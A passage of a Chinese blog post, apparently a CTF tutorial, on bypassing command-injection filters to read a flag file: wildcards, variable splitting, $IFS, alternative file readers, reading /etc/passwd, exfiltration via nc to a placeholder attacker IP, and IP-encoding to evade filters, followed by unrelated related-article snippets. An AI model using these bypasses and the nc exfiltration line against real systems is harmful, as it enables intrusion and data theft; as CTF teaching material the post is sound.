flag{hello world}
[root@localhost ~]# cat fl*
flag{hello world}
[root@localhost ~]# cat [fabc]la[gbcs].???
flag{hello world}

使用数组的方式进行绕过

在PHP中,我们传递参数可以加上[]来传递数组参数:

在这里插入图片描述

在这里插入图片描述

SHELL环境未重启写入

在会话保持的情况下,SHELL可能不会有重启的操作,则可以利用shell编程建立变量来进行写入:

[root@localhost ~]# echo "flag{hello world}" > flag.txt
[root@localhost ~]# a=fl
[root@localhost ~]# b=ag.txt
[root@localhost ~]# cat $a$b
flag{hello world}

直接输出全部文件内容查看

知道路径未必需要直接查看flag文件,反正我们只在意内容

[root@localhost test]# ls
flag.txt  index.txt  info.txt
[root@localhost test]# cat `ls`
flag{hello world}
info
info
[root@localhost test]# cat$IFS`ls`
flag{hello world}
info
info

利用其他带有输出功能的命令

  • paste用于将两个文件的内容进行拼接,当然在没有第二个文件时只会输出一个文件的内容
  • bash命令用于执行bash脚本,sh是其的软连接,在命令不存在时将可以输出内容,并提示命令未找到
[root@localhost ~]# echo "flag{hello_world}" > flag.txt
[root@localhost ~]# paste flag.txt 
flag{hello_world}
[root@localhost ~]# sh flag.txt 
flag.txt: line 1: flag{hello_world}: command not found
[root@localhost ~]# bash flag.txt 
flag.txt: line 1: flag{hello_world}: command not found
  • od是一个用于以指定格式显示文件,这里-c指定的以字符形式输出
[root@localhost ~]# od -c flag.txt
0000000   f   l   a   g   {   h   e   l   l   o   _   w   o   r   l   d
0000020   }  \n
0000022
  • bzmorebzless 是用于查看压缩文件(例如 .bz2 格式)内容的命令行工具,类似于 moreless 用于查看普通文本文件的工具。也可以用来读取普通文件
[root@localhost ~]# bzmore flag.txt
------> flag.txt <------
flag{hello_world}
[root@localhost ~]# bzless flag.txt
------> flag.txt <------
flag{hello_world}
(END)
  • diff 命令是一个用于比较文本文件之间差异的工具,它会逐行比较两个文件,并输出它们之间的不同之处。
[root@localhost ~]# diff flag.txt /etc/passwd
1c1,44
< flag{hello_world}
---
> root:x:0:0:root:/root:/bin/bash
> bin:x:1:1:bin:/bin:/sbin/nologin
...
  • 利用curl读取本地文件
[root@localhost ~]# curl file:///root/flag.txt
flag{hello_world}

外带文件读取

  • 利用nc进行外带文件
nc 攻击机IP 攻击机监听端口 < 文件	# 靶机执行
nc -l 攻击机监听端口 > content.txt		# 攻击机执行

IP地址转换绕过

在外带读取时,难免会遇到有时过滤IP地址的情况,我们需要知道以下要点:

在IP地址中,每个点分十进制(如127.0.0.1)都对应着一个32位的二进制数。将这个二进制数转换为十进制就可以得到2130706433。这种转换是按照如下规则进行的:

127 * 256^3 + 0 * 256^2 + 0 * 256^1 + 1 * 256^0 = 2130706432 + 1 = 2130706433

所以127.0.0.1对应的十进制表示就是2130706433。

我们也可以利用位运算,写个脚本来进行转换:

def ip_to_int(ip):
    parts = ip.split('.')
    return (int(parts[0]) << 24) + (int(parts[1]) << 16) + (int(parts[2]) << 8) + int(parts[3])


def int_to_ip(ip_int):
    return '.'.join(str((ip_int >> i) & 0xFF) for i in [24, 16, 8, 0])

if __name__ == "__main__":
    ip = '127.0.0.1'
    ip_int = ip_to_int(ip)
    print(ip_int)

    ip_int = 2130706433
    ip = int_to_ip(ip_int)
    print(ip)

也可以转换为16进制表示IP地址:127.0.0.1 -> 0x7F000001

def ip_to_hex(ip):
    hex_ip = '0x'+''.join(hex(int(x))[2:].zfill(2) for x in ip.split('.'))
    return hex_ip

if __name__ == "__main__":
    ip = '127.0.0.1'
    ip_hex = ip_to_hex(ip)
    print(ip_hex)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1559062.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

OSCP靶场--Internal

OSCP靶场–Internal 考点(CVE-2009-3103) 1.nmap扫描 ## ┌──(root㉿kali)-[~/Desktop] └─# nmap 192.168.216.40 -sV -sC -Pn --min-rate 2500 -p- Starting Nmap 7.92 ( https://nmap.org ) at 2024-03-31 07:00 EDT Nmap scan report for 192.168.216.40 Host is up…

【微服务框架】微服务简介

个人名片&#xff1a; &#x1f43c;作者简介&#xff1a;一名大三在校生&#xff0c;喜欢AI编程&#x1f38b; &#x1f43b;‍❄️个人主页&#x1f947;&#xff1a;落798. &#x1f43c;个人WeChat&#xff1a;hmmwx53 &#x1f54a;️系列专栏&#xff1a;&#x1f5bc;️…

react ts 封装搜索条件

封装 import React, { ReactNode, useImperativeHandle, forwardRef } from react; import { Card, Form, Input, Button, Row, Col } from antd;interface Iprops {formItem: any,getParams: (params: any) > void,reset?: () > void | undefined,isButton?: boolean…

算法学习16:数论03(容斥原理、博弈论)

算法学习16&#xff1a;数论03&#xff08;容斥原理、博弈论&#xff09; 文章目录 算法学习16&#xff1a;数论03&#xff08;容斥原理、博弈论&#xff09;前言一、容斥原理&#xff1a;求多个集合的并集二、博弈论1.Nim游戏&#xff1a;2.集合N-im游戏 总结 前言 提示&#…

南京观海微电子---Vitis HLS设计流程介绍——Vitis HLS教程

1. 传统的FPGA设计流程 传统的RTL设计流程如下图所示&#xff1a; 传统的FPGA RTL设计流程主要是采用VHDL、VerilogHDL或System Verilog进行工程的开发&#xff0c;同时也是通过硬件描述语言来编写测试案例&#xff08;Test Bench&#xff09;对开发的工程进行仿真验证。 随后…

教你一键轻松领取腾讯云优惠券

随着云计算的普及&#xff0c;越来越多的企业和个人开始使用云服务。而在众多云服务提供商中&#xff0c;腾讯云凭借其优质的服务和丰富的产品赢得了广大用户的青睐。为了吸引更多的用户上云&#xff0c;腾讯云推出了优惠券活动&#xff0c;让用户在购买云服务时能够获得更多实…

如何使用Axure RP制作网页原型并结合IIS服务实现公网访问本地HTML网页

文章目录 前言1.在AxureRP中生成HTML文件2.配置IIS服务3.添加防火墙安全策略4.使用cpolar内网穿透实现公网访问4.1 登录cpolar web ui管理界面4.2 启动website隧道4.3 获取公网URL地址4.4. 公网远程访问内网web站点4.5 配置固定二级子域名公网访问内网web站点4.5.1创建一条固定…

Go的数据结构与实现【Binary Search Tree】

介绍 本文用Go将实现二叉搜索树数据结构&#xff0c;以及常见的一些方法 二叉树 二叉树是一种递归数据结构&#xff0c;其中每个节点最多可以有两个子节点。 二叉树的一种常见类型是二叉搜索树&#xff0c;其中每个节点的值都大于或等于左子树中的节点值&#xff0c;并且小…

【JavaWeb】Day28.SpringBootWeb请求响应——请求(一)

前言&#xff1a; 我们在开发web程序时呢&#xff0c;定义了一个控制器类Controller&#xff0c;请求会被部署在Tomcat中的Controller接收&#xff0c;然后Controller再给浏览器一个响应。 而在请求响应的过程中是遵循HTTP协议的。 但是&#xff0c;在Tomcat这类Web服务器中&a…

redis学习-redis配置文件解读

目录 1.单位说明 2. include配置 3. network网络配置 3.1 bind绑定ip配置 3.2保护模式protected-mode配置 3.3端口号port配置​编辑 3.4超时断开连接timeout配置 4. general通用配置 4.1守护进程模式daemonize配置 4.2进程id存放文件pidfile配置 4.3日志级别loglevel配置 4.…

揭秘汽车制造神器:DeviceNET转Modbus TCP神操作

在现代汽车制造行业&#xff0c;汽车零部件的高效生产与精准控制是至关重要的。为了实现这一目标&#xff0c;上位机通过DeviceNET转Modbus TCP网关的技术应用越来越受到重视。这种技术不仅提高了生产线的自动化程度&#xff0c;而且确保了数据的准确传输和处理&#xff0c;为汽…

C++中的string类模拟实现

目录 string类的模拟实现 string类的构造函数 string类拷贝构造函数 string类析构函数 string类c_str()函数 string类中的[]运算符重载函数 string类中的赋值运算符重载 string类中获取字符串有效字符个数 string类中获取字符串存储空间大小&#xff08;不包括\0&…

力扣 1035. 不相交的线

题目来源&#xff1a;https://leetcode.cn/problems/uncrossed-lines/description/ C题解&#xff1a;经过细细一推导&#xff0c;就发现跟力扣 1143. 最长公共子序列-CSDN博客 换汤不换药。 直线不能相交&#xff0c;说明元素顺序不能改变&#xff0c;求可以绘制的最大连线数…

设计方案-定时任务接口数据存储及更新策略

前言 在没有使用ETL工具且不考虑多数据源的情况下&#xff0c;我们需要从别的系统获取数据时&#xff0c;一般会选择分页接口查询并存储。本文算是我对类似场景代码的提炼&#xff0c;旨在总结相关套路&#xff0c;提升自我对数据库和模块的设计能力。 ETL(英文 Extract-Trans…

LeetCode Python - 81. 搜索旋转排序数组 II

目录 题目描述解法运行结果 题目描述 已知存在一个按非降序排列的整数数组 nums &#xff0c;数组中的值不必互不相同。 在传递给函数之前&#xff0c;nums 在预先未知的某个下标 k&#xff08;0 < k < nums.length&#xff09;上进行了 旋转 &#xff0c;使数组变为 […

社交网络的未来:Facebook如何塑造数字社交的下一章

引言 社交网络已成为我们生活中不可或缺的一部分&#xff0c;而Facebook作为其领军者&#xff0c;一直在塑造着数字社交的未来。本文将深入探讨Facebook在未来如何塑造数字社交的下一章&#xff0c;并对社交网络的发展趋势进行展望和分析。 1. 引领虚拟社交的潮流 Facebook将…

vulnhub靶场之driftingblues-4

一.环境搭建 1.靶场描述 get flags difficulty: easy about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email for troubleshooting or questions. This works better with VirtualBox rather than VMware. 2.靶场…

O(1)空间复杂度反转/逆置单链表

写法1 王道书上的 从头结点开始&#xff0c;将链表中的每个节点取下来&#xff0c;逐个放在头结点后面&#xff0c; 维护三个指针 p,q,r &#xff0c;p指向头结点&#xff0c;q为当前操作节点&#xff0c;r为下一个节点 将q指向p的下一个节点&#xff08;也就是反转后的第一…

CSS3新增的语法(三)

CSS3新增的语法&#xff08;三&#xff09; 10.2D变换10.1. 2D位移10.2. 2D缩放10.3. 2D旋转10.4. 2D扭曲&#xff08;了解&#xff09;10.5. 多重变换10.6. 变换原点 11. 3D变换11.1. 开启3D空间11.2. 设置景深11.3. 透视点位置11.4. 3D 位移11.5. 3D 旋转11.6. 3D 缩放11.7. …

【数据结构与算法初阶(c语言)】插入排序、希尔排序、选择排序、堆排序、冒泡排序、快速排序、归并排序、计数排序-全梳理(万字详解,干货满满,建议三连收藏)

目录 1.排序的概念及其运用 1.1排序的概念 1.2排序运用 1.3常见的排序算法 2.插入排序 2.1 原理演示&#xff1a;​编辑 2.2 算法实现 2.3 算法的时间复杂度和空间复杂度分析 3.希尔排序 3.1算法思想 3.2原理演示 3.3代码实现 3.4希尔算法的时间复杂度 4.冒泡排序 4.1冒泡排…